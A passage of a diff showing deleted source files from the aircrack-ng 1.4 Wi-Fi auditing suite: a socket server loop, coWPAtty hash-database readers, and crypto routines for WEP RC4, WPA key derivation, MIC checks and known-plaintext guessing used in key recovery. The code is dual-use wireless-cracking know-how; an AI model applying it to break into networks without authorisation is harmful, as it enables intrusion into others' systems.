-	exit(1);
-}
-
-int main(int argc, char * argv[])
-{
-	struct utsname utsName;
-	struct sockaddr_in s_in;
-	struct sockaddr_in dude_sin;
-	int len, udp, ch, dude, s;
-	int port = S_DEFAULT_PORT;
-	int drop;
-
-	while ((ch = getopt(argc, argv, "ph")) != -1)
-	{
-		switch (ch)
-		{
-			case 'p':
-				drop = 0;
-				break;
-
-			default:
-			case 'h':
-				usage();
-				break;
-		}
-	}
-
-	memset(&s_in, 0, sizeof(s_in));
-	s_in.sin_family = PF_INET;
-	s_in.sin_addr.s_addr = INADDR_ANY;
-	s_in.sin_port = htons(S_DEFAULT_UDP_PORT);
-
-	udp = socket(s_in.sin_family, SOCK_DGRAM, IPPROTO_UDP);
-	if (udp == -1) err(1, "socket(UDP)");
-	if (bind(udp, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-		err(1, "bind()");
-
-	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
-	if (s == -1) err(1, "socket(TCP)");
-
-	drop = 1;
-
-	// Do not drop privileges on Windows (doing it fails).
-	if (uname(&utsName) == 0)
-	{
-		drop = strncasecmp(utsName.sysname, "cygwin", 6);
-	}
-
-	if (drop) drop_privs();
-
-	memset(&s_in, 0, sizeof(s_in));
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(port);
-	s_in.sin_addr.s_addr = INADDR_ANY;
-
-	len = 1;
-	if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &len, sizeof(len)) == -1)
-		err(1, "setsockopt(SO_REUSEADDR)");
-
-	if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-		err(1, "bind()");
-
-	if (listen(s, 5) == -1) err(1, "listen()");
-
-	while (1)
-	{
-		len = sizeof(dude_sin);
-		printf("Waiting for connexion\n");
-		dude = accept(s, (struct sockaddr *) &dude_sin, (socklen_t *) &len);
-		if (dude == -1) err(1, "accept()");
-
-		printf("Got connection from %s\n", inet_ntoa(dude_sin.sin_addr));
-		handle_dude(dude, udp);
-		printf("That was it\n");
-	}
-	exit(0);
-}

aircrack-ng-1.4.tar.gz/src/cowpatty.c Deleted

@@ -1,216 +0,0 @@
-/*
- *  coWPAtty hash DB file helper functions
- *
- *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <string.h>
-#include <stdlib.h>
-#include "cowpatty.h"
-
-void close_free_cowpatty_hashdb(struct cowpatty_file * cf)
-{
-	if (cf != NULL)
-	{
-		if (cf->fp)
-		{
-			fclose(cf->fp);
-		}
-		free(cf);
-	}
-}
-
-struct cowpatty_file * open_cowpatty_hashdb(const char * filename,
-											const char * mode)
-{
-	struct hashdb_head filehead;
-
-	// Initialize structure
-	struct cowpatty_file * ret
-		= (struct cowpatty_file *) malloc(sizeof(struct cowpatty_file));
-	memset(ret->ssid, 0, sizeof(ret->ssid));
-	memset(ret->error, 0, sizeof(ret->error));
-	ret->fp = NULL;
-
-	if (filename == NULL || filename[0] == 0)
-	{
-		strcpy(ret->error, "No filename specified");
-		return ret;
-	}
-
-	if (mode == NULL || strncmp(mode, "r", 1) == 0)
-	{
-		if (strcmp(filename, "-") == 0)
-		{
-			ret->fp = stdin;
-		}
-		else
-		{
-			ret->fp = fopen(filename, "r");
-			if (ret->fp == NULL)
-			{
-				snprintf(ret->error,
-						 sizeof(ret->error),
-						 "File <%s> cannot be opened",
-						 filename);
-				return ret;
-			}
-		}
-
-		// Check headers
-		if (fread(&filehead, sizeof(struct hashdb_head), 1, ret->fp) != 1)
-		{
-			strcpy(ret->error, "Failed reading hash DB header");
-			fclose(ret->fp);
-			ret->fp = NULL;
-			return ret;
-		}
-
-		if (filehead.magic != GENPMKMAGIC)
-		{ // Verify header magic
-			strcpy(ret->error, "Header magic doesn't match");
-			fclose(ret->fp);
-			ret->fp = NULL;
-			return ret;
-		}
-		if (filehead.ssid[0] == 0)
-		{
-			strcpy(ret->error, "SSID is NULL");
-			fclose(ret->fp);
-			ret->fp = NULL;
-			return ret;
-		}
-
-		// Copy SSID
-		memcpy(ret->ssid, filehead.ssid, sizeof(filehead.ssid));
-		if (filehead.ssidlen > 32 || filehead.ssidlen == 0)
-		{
-			snprintf(ret->error,
-					 sizeof(ret->error),
-					 "Advertised SSID length is %u (Max length: 32)",
-					 filehead.ssidlen);
-			fclose(ret->fp);
-			ret->fp = NULL;
-		}
-	}
-	else
-	{
-		// Write not supported yet
-		strcpy(ret->error, "Write and other modes not supported yet");
-	}
-
-	return ret;
-}
-
-struct hashdb_rec * read_next_cowpatty_record(struct cowpatty_file * cf)
-{
-	int rc, wordlength;
-	struct hashdb_rec * ret = NULL;
-
-	if (cf == NULL || cf->error[0])
-	{
-		return NULL;
-	}
-
-	if (cf->fp == NULL)
-	{
-		strcpy(cf->error, "File pointer is NULL");
-		return NULL;
-	}
-
-	// Allocate memory
-	ret = (struct hashdb_rec *) malloc(sizeof(struct hashdb_rec));
-	if (ret == NULL)
-	{
-		strcpy(cf->error, "Failed allocating memory for coWPAtty record");
-		return NULL;
-	}
-
-	// Read record size
-	rc = fread(&(ret->rec_size), sizeof(ret->rec_size), 1, cf->fp);
-
-	// Close and exit if failed
-	if (rc != 1 && feof(cf->fp))
-	{
-		free(ret);
-		fclose(cf->fp);
-		cf->fp = NULL;
-		return NULL;
-	}
-
-	// Get passphrase length
-	ret->word = NULL;
-	wordlength = ret->rec_size - (sizeof(ret->pmk) + sizeof(ret->rec_size));
-
-	if (wordlength > 0 && wordlength <= MAX_PASSPHRASE_LENGTH)
-	{
-		ret->word = (char *) calloc(wordlength + 1, sizeof(char));
-
-		// Read passphrase
-		rc += fread(ret->word, wordlength, 1, cf->fp);
-		if (rc == 2)
-		{
-			// And the PMK
-			rc += fread(&ret->pmk, sizeof(ret->pmk), 1, cf->fp);
-		}
-	}
-
-	// Check if everything went well
-	if (rc != 3 || ret->word == NULL || ret->word[0] == 0)
-	{
-		if (rc == 1)
-		{
-			snprintf(cf->error,
-					 sizeof(cf->error),
-					 "Error while reading record, failed to read passphrase "
-					 "invalid word length: %i",
-					 wordlength);
-		}
-		else if (rc == 2)
-		{
-			strcpy(cf->error, "Error while reading record, failed reading PMK");
-		}
-		else
-		{
-			strcpy(cf->error, "NULL or empty passphrase");
-		}
-
-		// Cleanup and close file
-		fclose(cf->fp);
-		free(ret->word);
-		free(ret);
-		ret = NULL;
-		cf->fp = NULL;
-	}
-
-	return ret;
-}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/cowpatty.h Deleted

@@ -1,70 +0,0 @@
-/*
- *  coWPAtty hash DB file format structures and helper functions
- *
- *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _COWPATTY_H_
-#define _COWPATTY_H_
-
-#include <stdint.h>
-
-#define MAX_PASSPHRASE_LENGTH 63
-
-#define GENPMKMAGIC 0x43575041
-struct hashdb_head
-{
-	uint32_t magic;
-	uint8_t reserved1[3];
-	uint8_t ssidlen;
-	uint8_t ssid[32];
-};
-
-struct hashdb_rec
-{
-	uint8_t rec_size;
-	char * word;
-	uint8_t pmk[32];
-} __attribute__((packed));
-
-struct cowpatty_file
-{
-	char ssid[33];
-	FILE * fp;
-	char error[256 - sizeof(FILE *) - 33];
-};
-
-void close_free_cowpatty_hashdb(struct cowpatty_file * cf);
-struct cowpatty_file * open_cowpatty_hashdb(const char * filename,
-											const char * mode);
-struct hashdb_rec * read_next_cowpatty_record(struct cowpatty_file * cf);
-
-#endif // _COWPATTY_H_
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/crypto.c Deleted

@@ -1,1708 +0,0 @@
-/*
- *  MD5, SHA-1, RC4 and AES implementations
- *
- *  Copyright (C) 2001-2004  Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
-
- */
-
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#include "sha1-git.h"
-#else
-#include <openssl/hmac.h>
-#include <openssl/sha.h>
-// We don't use EVP. Bite me
-#include <openssl/rc4.h>
-#include <openssl/aes.h>
-#endif
-#include <string.h>
-#include <arpa/inet.h>
-#include <assert.h>
-#include <pthread.h>
-#include <stdint.h>
-#include "crypto.h"
-#include "crctable.h"
-#include "aircrack-ng.h"
-#include "aircrack-util/common.h"
-
-#define UBTOUL(b) ((unsigned long) (b))
-
-/* RC4 encryption/ WEP decryption check */
-
-/*  SSL decryption */
-
-int encrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen)
-{
-	RC4_KEY S;
-
-	RC4_set_key(&S, keylen, key);
-	RC4(&S, (size_t) len, data, data);
-
-	return (0);
-}
-
-int decrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen)
-{
-	encrypt_wep(data, len, key, keylen);
-	return (check_crc_buf(data, len - 4));
-}
-
-/* An implementation of the ARC4 algorithm */
-
-void rc4_setup(struct rc4_state * s, const unsigned char * key, int length)
-{
-	int i, j, k, *m;
-
-	s->x = 0;
-	s->y = 0;
-	m = s->m;
-
-	for (i = 0; i < 256; i++)
-	{
-		m[i] = i;
-	}
-
-	j = k = 0;
-
-	for (i = 0; i < 256; i++)
-	{
-		int a = m[i];
-		j = (unsigned char) (j + a + key[k]);
-		m[i] = m[j];
-		m[j] = a;
-		if (++k >= length) k = 0;
-	}
-}
-
-void rc4_crypt(struct rc4_state * s, unsigned char * data, int length)
-{
-	int i, x, y, *m;
-
-	x = s->x;
-	y = s->y;
-	m = s->m;
-
-	for (i = 0; i < length; i++)
-	{
-		int a, b;
-
-		x = (unsigned char) (x + 1);
-		a = m[x];
-		y = (unsigned char) (y + a);
-		m[x] = b = m[y];
-		m[y] = a;
-		data[i] ^= m[(unsigned char) (a + b)];
-	}
-
-	s->x = x;
-	s->y = y;
-}
-
-/* WEP (barebone RC4) en-/decryption routines */
-/*
-int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen )
-{
-	struct rc4_state S;
-
-	rc4_setup( &S, key, keylen );
-	rc4_crypt( &S, data, len );
-
-	return( 0 );
-}
-
-int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen )
-{
-	struct rc4_state S;
-
-	rc4_setup( &S, key, keylen );
-	rc4_crypt( &S, data, len );
-
-	return( check_crc_buf( data, len - 4 ) );
-}
-*/
-
-/* derive the PMK from the passphrase and the essid */
-
-void calc_pmk(char * key, char * essid_pre, unsigned char pmk[40])
-{
-	int i, j, slen;
-	unsigned char buffer[65];
-	char essid[33 + 4];
-	SHA_CTX ctx_ipad;
-	SHA_CTX ctx_opad;
-	SHA_CTX sha1_ctx;
-	size_t essid_pre_len;
-
-	if (essid_pre == NULL || essid_pre[0] == 0
-		|| (essid_pre_len = strlen(essid_pre)) > 32)
-	{
-		return;
-	}
-
-	memset(essid, 0, sizeof(essid));
-	memcpy(essid, essid_pre, essid_pre_len);
-	slen = (int) essid_pre_len + 4;
-
-	/* setup the inner and outer contexts */
-
-	memset(buffer, 0, sizeof(buffer));
-	strncpy((char *) buffer, key, sizeof(buffer) - 1);
-
-	for (i = 0; i < 64; i++) buffer[i] ^= 0x36;
-
-	SHA1_Init(&ctx_ipad);
-	SHA1_Update(&ctx_ipad, buffer, 64);
-
-	for (i = 0; i < 64; i++) buffer[i] ^= 0x6A;
-
-	SHA1_Init(&ctx_opad);
-	SHA1_Update(&ctx_opad, buffer, 64);
-
-	/* iterate HMAC-SHA1 over itself 8192 times */
-
-	essid[slen - 1] = '\1';
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key,
-		 (int) strlen(key),
-		 (unsigned char *) essid,
-		 (size_t) slen,
-		 pmk,
-		 NULL);
-	memcpy(buffer, pmk, 20);
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		for (j = 0; j < 20; j++) pmk[j] ^= buffer[j];
-	}
-
-	essid[slen - 1] = '\2';
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key,
-		 (int) strlen(key),
-		 (unsigned char *) essid,
-		 (size_t) slen,
-		 pmk + 20,
-		 NULL);
-	memcpy(buffer, pmk + 20, 20);
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		for (j = 0; j < 20; j++) pmk[j + 20] ^= buffer[j];
-	}
-}
-
-// void calc_ptk (struct WPA_hdsk *wpa, unsigned char bssid[6], unsigned char
-// pmk[32], unsigned char ptk[80]) {
-// 	int i;
-// 	unsigned char pke[100];
-// 	HMAC_CTX ctx;
-//
-// 	memcpy( pke, "Pairwise key expansion", 23 );
-//
-// 	if( memcmp( wpa->stmac, bssid, 6 ) < 0 )
-// 	{
-// 		memcpy( pke + 23, wpa->stmac, 6 );
-// 		memcpy( pke + 29, bssid, 6 );
-// 	}
-// 	else
-// 	{
-// 		memcpy( pke + 23, bssid, 6 );
-// 		memcpy( pke + 29, wpa->stmac, 6 );
-// 	}
-//
-// 	if( memcmp( wpa->snonce, wpa->anonce, 32 ) < 0 )
-// 	{
-// 		memcpy( pke + 35, wpa->snonce, 32 );
-// 		memcpy( pke + 67, wpa->anonce, 32 );
-// 	}
-// 	else
-// 	{
-// 		memcpy( pke + 35, wpa->anonce, 32 );
-// 		memcpy( pke + 67, wpa->snonce, 32 );
-// 	}
-//
-// 	HMAC_CTX_init(&ctx);
-// 	HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL);
-// 	for(i = 0; i < 4; i++ )
-// 	{
-// 		pke[99] = i;
-// 		//HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL);
-// 		HMAC_Init_ex(&ctx, 0, 0, 0, 0);
-// 		HMAC_Update(&ctx, pke, 100);
-// 		HMAC_Final(&ctx, ptk + i*20, NULL);
-// 	}
-// 	HMAC_CTX_cleanup(&ctx);
-// }
-
-void calc_mic(struct AP_info * ap,
-			  unsigned char pmk[32],
-			  unsigned char ptk[80],
-			  unsigned char mic[20])
-{
-	int i;
-	unsigned char pke[100];
-#if defined(USE_GCRYPT) || OPENSSL_VERSION_NUMBER < 0x10100000L                \
-	|| defined(LIBRESSL_VERSION_NUMBER)
-#define HMAC_USE_NO_PTR
-#endif
-
-#ifdef HMAC_USE_NO_PTR
-	HMAC_CTX ctx;
-#else
-	HMAC_CTX * ctx;
-#endif
-
-	memcpy(pke, "Pairwise key expansion", 23);
-
-	if (memcmp(ap->wpa.stmac, ap->bssid, 6) < 0)
-	{
-		memcpy(pke + 23, ap->wpa.stmac, 6);
-		memcpy(pke + 29, ap->bssid, 6);
-	}
-	else
-	{
-		memcpy(pke + 23, ap->bssid, 6);
-		memcpy(pke + 29, ap->wpa.stmac, 6);
-	}
-
-	if (memcmp(ap->wpa.snonce, ap->wpa.anonce, 32) < 0)
-	{
-		memcpy(pke + 35, ap->wpa.snonce, 32);
-		memcpy(pke + 67, ap->wpa.anonce, 32);
-	}
-	else
-	{
-		memcpy(pke + 35, ap->wpa.anonce, 32);
-		memcpy(pke + 67, ap->wpa.snonce, 32);
-	}
-
-#ifdef HMAC_USE_NO_PTR
-	HMAC_CTX_init(&ctx);
-	HMAC_Init_ex(&ctx, pmk, 32, EVP_sha1(), NULL);
-	for (i = 0; i < 4; i++)
-	{
-		pke[99] = (uint8_t) i;
-		// HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL);
-		HMAC_Init_ex(&ctx, 0, 0, 0, 0);
-		HMAC_Update(&ctx, pke, 100);
-		HMAC_Final(&ctx, ptk + i * 20, NULL);
-	}
-	HMAC_CTX_cleanup(&ctx);
-#else
-	ctx = HMAC_CTX_new();
-	HMAC_Init_ex(ctx, pmk, 32, EVP_sha1(), NULL);
-	for (i = 0; i < 4; i++)
-	{
-		pke[99] = i;
-		// HMAC(EVP_sha1(), values[0], 32, pke, 100, ptk + i * 20, NULL);
-		HMAC_Init_ex(ctx, 0, 0, 0, 0);
-		HMAC_Update(ctx, pke, 100);
-		HMAC_Final(ctx, ptk + i * 20, NULL);
-	}
-	HMAC_CTX_free(ctx);
-#endif
-#undef HMAC_USE_NO_PTR
-
-	if (ap->wpa.keyver == 1)
-	{
-		HMAC(EVP_md5(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL);
-	}
-	else
-	{
-		HMAC(EVP_sha1(), ptk, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic, NULL);
-	}
-}
-
-unsigned long calc_crc(unsigned char * buf, int len)
-{
-	unsigned long crc = 0xFFFFFFFF;
-
-	for (; len > 0; len--, buf++)
-		crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
-
-	return (~crc);
-}
-
-// without inversion, must be used for bit flipping attacks
-unsigned long calc_crc_plain(unsigned char * buf, int len)
-{
-	unsigned long crc = 0x00000000;
-
-	for (; len > 0; len--, buf++)
-		crc = crc_tbl[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
-
-	return (crc);
-}
-
-/* CRC checksum verification routine */
-
-int check_crc_buf(unsigned char * buf, int len)
-{
-	unsigned long crc;
-
-	crc = calc_crc(buf, len);
-	buf += len;
-	return (((crc) &0xFF) == buf[0] && ((crc >> 8) & 0xFF) == buf[1]
-			&& ((crc >> 16) & 0xFF) == buf[2]
-			&& ((crc >> 24) & 0xFF) == buf[3]);
-}
-
-/* Add CRC32 */
-
-int add_crc32(unsigned char * data, int length)
-{
-	unsigned long crc;
-
-	crc = calc_crc(data, length);
-
-	data[length] = (uint8_t)((crc) &0xFF);
-	data[length + 1] = (uint8_t)((crc >> 8) & 0xFF);
-	data[length + 2] = (uint8_t)((crc >> 16) & 0xFF);
-	data[length + 3] = (uint8_t)((crc >> 24) & 0xFF);
-
-	return 0;
-}
-
-int add_crc32_plain(unsigned char * data, int length)
-{
-	unsigned long crc;
-
-	crc = calc_crc_plain(data, length);
-
-	data[length] = (uint8_t)((crc) &0xFF);
-	data[length + 1] = (uint8_t)((crc >> 8) & 0xFF);
-	data[length + 2] = (uint8_t)((crc >> 16) & 0xFF);
-	data[length + 3] = (uint8_t)((crc >> 24) & 0xFF);
-
-	return 0;
-}
-
-int calc_crc_buf(unsigned char * buf, int len)
-{
-	return (int) (calc_crc(buf, len));
-}
-
-void * get_da(unsigned char * wh)
-{
-	if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
-		return wh + 4;
-	else
-		return wh + 4 + 6 * 2;
-}
-
-void * get_sa(unsigned char * wh)
-{
-	if (wh[1] & IEEE80211_FC1_DIR_FROMDS)
-		return wh + 4 + 6 * 2;
-	else
-		return wh + 4 + 6;
-}
-
-int is_ipv6(void * wh)
-{
-	if (memcmp((char *) wh + 4, "\x33\x33", 2) == 0
-		|| memcmp((char *) wh + 16, "\x33\x33", 2) == 0)
-		return 1;
-
-	return 0;
-}
-
-int is_dhcp_discover(void * wh, size_t len)
-{
-	if ((memcmp((char *) wh + 4, BROADCAST, 6) == 0
-		 || memcmp((char *) wh + 16, BROADCAST, 6) == 0)
-		&& (len >= 360 - 24 - 4 - 4 && len <= 380 - 24 - 4 - 4))
-		return 1;
-
-	return 0;
-}
-
-int is_arp(void * wh, size_t len)
-{
-	size_t arpsize = 8 + 8 + 10 * 2;
-
-	if (wh)
-	{
-	}
-	/* remove non BROADCAST frames? could be anything, but
-		 * chances are good that we got an arp response tho.   */
-
-	if (len == arpsize || len == 54) return 1;
-
-	return 0;
-}
-
-int is_wlccp(void * wh, size_t len)
-{
-	size_t wlccpsize = 58;
-
-	if (wh)
-	{
-	}
-
-	if (len == wlccpsize) return 1;
-
-	return 0;
-}
-
-int is_qos_arp_tkip(void * wh, int len)
-{
-	unsigned char * packet = (unsigned char *) wh;
-	int qosarpsize = (24 + 2) + 8 + (8 + (8 + 10 * 2)) + 8 + 4; // 82 in total
-
-	if ((packet[1] & 3) == 1) // to ds
-	{
-		if (len == qosarpsize) // always wireless
-			return 1;
-	}
-
-	if ((packet[1] & 3) == 2) // from ds
-	{
-		if (len == qosarpsize
-			|| len == qosarpsize + 18) // wireless or padded wired
-			return 1;
-	}
-
-	return 0;
-}
-
-int is_spantree(void * wh)
-{
-	if (wh != NULL && (memcmp((char *) wh + 4, SPANTREE, 6) == 0
-					   || memcmp((char *) wh + 16, SPANTREE, 6) == 0))
-		return 1;
-
-	return 0;
-}
-
-int is_cdp_vtp(void * wh)
-{
-	if (memcmp((char *) wh + 4, CDP_VTP, 6) == 0
-		|| memcmp((char *) wh + 16, CDP_VTP, 6) == 0)
-		return 1;
-
-	return 0;
-}
-
-/* weight is used for guesswork in PTW.  Can be null if known_clear is not for
- * PTW, but just for getting known clear-text.
- */
-int known_clear(
-	void * clear, int * clen, int * weight, unsigned char * wh, size_t len)
-{
-	unsigned char * ptr = clear;
-	int num;
-
-	if (is_arp(wh, len)) /*arp*/
-	{
-		len = sizeof(S_LLC_SNAP_ARP) - 1;
-		memcpy(ptr, S_LLC_SNAP_ARP, len);
-		ptr += len;
-
-		/* arp hdr */
-		len = 6;
-		memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
-		ptr += len;
-
-		/* type of arp */
-		len = 2;
-		if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
-			memcpy(ptr, "\x00\x01", len);
-		else
-			memcpy(ptr, "\x00\x02", len);
-		ptr += len;
-
-		/* src mac */
-		len = 6;
-		memcpy(ptr, get_sa(wh), len);
-		ptr += len;
-
-		len = ptr - ((unsigned char *) clear);
-		*clen = (int) len;
-		if (weight) weight[0] = 256;
-		return 1;
-	}
-	else if (is_wlccp(wh, len)) /*wlccp*/
-	{
-		len = sizeof(S_LLC_SNAP_WLCCP) - 1;
-		memcpy(ptr, S_LLC_SNAP_WLCCP, len);
-		ptr += len;
-
-		/* wlccp hdr */
-		len = 4;
-		memcpy(ptr, "\x00\x32\x40\x01", len);
-		ptr += len;
-
-		/* dst mac */
-		len = 6;
-		memcpy(ptr, get_da(wh), len);
-		ptr += len;
-
-		len = ptr - ((unsigned char *) clear);
-		*clen = (int) len;
-		if (weight) weight[0] = 256;
-		return 1;
-	}
-	else if (is_spantree(wh)) /*spantree*/
-	{
-		len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
-		memcpy(ptr, S_LLC_SNAP_SPANTREE, len);
-		ptr += len;
-
-		len = ptr - ((unsigned char *) clear);
-		*clen = (int) len;
-		if (weight) weight[0] = 256;
-		return 1;
-	}
-	else if (is_cdp_vtp(wh)) /*spantree*/
-	{
-		len = sizeof(S_LLC_SNAP_CDP) - 1;
-		memcpy(ptr, S_LLC_SNAP_CDP, len);
-		ptr += len;
-
-		len = ptr - ((unsigned char *) clear);
-		*clen = (int) len;
-		if (weight) weight[0] = 256;
-		return 1;
-	}
-	else /* IP */
-	{
-		unsigned short iplen = htons((uint16_t)(len - 8));
-
-		//                printf("Assuming IP %d\n", len);
-
-		len = sizeof(S_LLC_SNAP_IP) - 1;
-		memcpy(ptr, S_LLC_SNAP_IP, len);
-		ptr += len;
-#if 1
-		// version=4; header_length=20; services=0
-		len = 2;
-		memcpy(ptr, "\x45\x00", len);
-		ptr += len;
-
-		// ip total length
-		memcpy(ptr, &iplen, len);
-		ptr += len;
-
-		/* no guesswork */
-		if (!weight)
-		{
-			*clen = (int) (ptr - ((unsigned char *) clear));
-			return 1;
-		}
-#if 1
-		/* setting IP ID 0 is ok, as we
-				 * bruteforce it later
-		 */
-		// ID=0
-		len = 2;
-		memcpy(ptr, "\x00\x00", len);
-		ptr += len;
-
-		// ip flags=don't fragment
-		len = 2;
-		memcpy(ptr, "\x40\x00", len);
-		ptr += len;
-#endif
-#endif
-		len = ptr - ((unsigned char *) clear);
-		*clen = (int) len;
-
-		memmove((char *) clear + 32, clear, len);
-		memcpy((char *) clear + 32 + 14, "\x00\x00", 2); // ip flags=none
-
-		num = 2;
-		assert(weight);
-		weight[0] = 220;
-		weight[1] = 36;
-
-		return num;
-	}
-}
-
-/* derive the pairwise transcient keys from a bunch of stuff */
-
-int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk[32])
-{
-	int i;
-	unsigned char pke[100];
-	unsigned char mic[20];
-
-	memcpy(pke, "Pairwise key expansion", 23);
-
-	if (memcmp(wpa->stmac, wpa->bssid, 6) < 0)
-	{
-		memcpy(pke + 23, wpa->stmac, 6);
-		memcpy(pke + 29, wpa->bssid, 6);
-	}
-	else
-	{
-		memcpy(pke + 23, wpa->bssid, 6);
-		memcpy(pke + 29, wpa->stmac, 6);
-	}
-
-	if (memcmp(wpa->snonce, wpa->anonce, 32) < 0)
-	{
-		memcpy(pke + 35, wpa->snonce, 32);
-		memcpy(pke + 67, wpa->anonce, 32);
-	}
-	else
-	{
-		memcpy(pke + 35, wpa->anonce, 32);
-		memcpy(pke + 67, wpa->snonce, 32);
-	}
-
-	for (i = 0; i < 4; i++)
-	{
-		pke[99] = (uint8_t) i;
-		HMAC(EVP_sha1(), pmk, 32, pke, 100, wpa->ptk + i * 20, NULL);
-	}
-
-	/* check the EAPOL frame MIC */
-
-	if ((wpa->keyver & 0x07) == 1)
-		HMAC(EVP_md5(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL);
-	else
-		HMAC(EVP_sha1(), wpa->ptk, 16, wpa->eapol, wpa->eapol_size, mic, NULL);
-
-	return (memcmp(mic, wpa->keymic, 16) == 0);
-}
-
-int init_michael(struct Michael * mic, const unsigned char key[8])
-{
-	mic->key0 = UBTOUL(key[0]) << 0UL | UBTOUL(key[1]) << 8UL
-				| UBTOUL(key[2]) << 16UL | UBTOUL(key[3] << 24UL);
-	mic->key1 = UBTOUL(key[4]) << 0UL | UBTOUL(key[5]) << 8UL
-				| UBTOUL(key[6]) << 16UL | UBTOUL(key[7] << 24UL);
-	// and reset the message
-	mic->left = mic->key0;
-	mic->right = mic->key1;
-	mic->nBytesInM = 0UL;
-	mic->message = 0UL;
-	return 0;
-}
-
-int michael_append_byte(struct Michael * mic, unsigned char byte)
-{
-	mic->message |= (UBTOUL(byte) << (8UL * mic->nBytesInM));
-	mic->nBytesInM++;
-	// Process the word if it is full.
-	if (mic->nBytesInM >= 4UL)
-	{
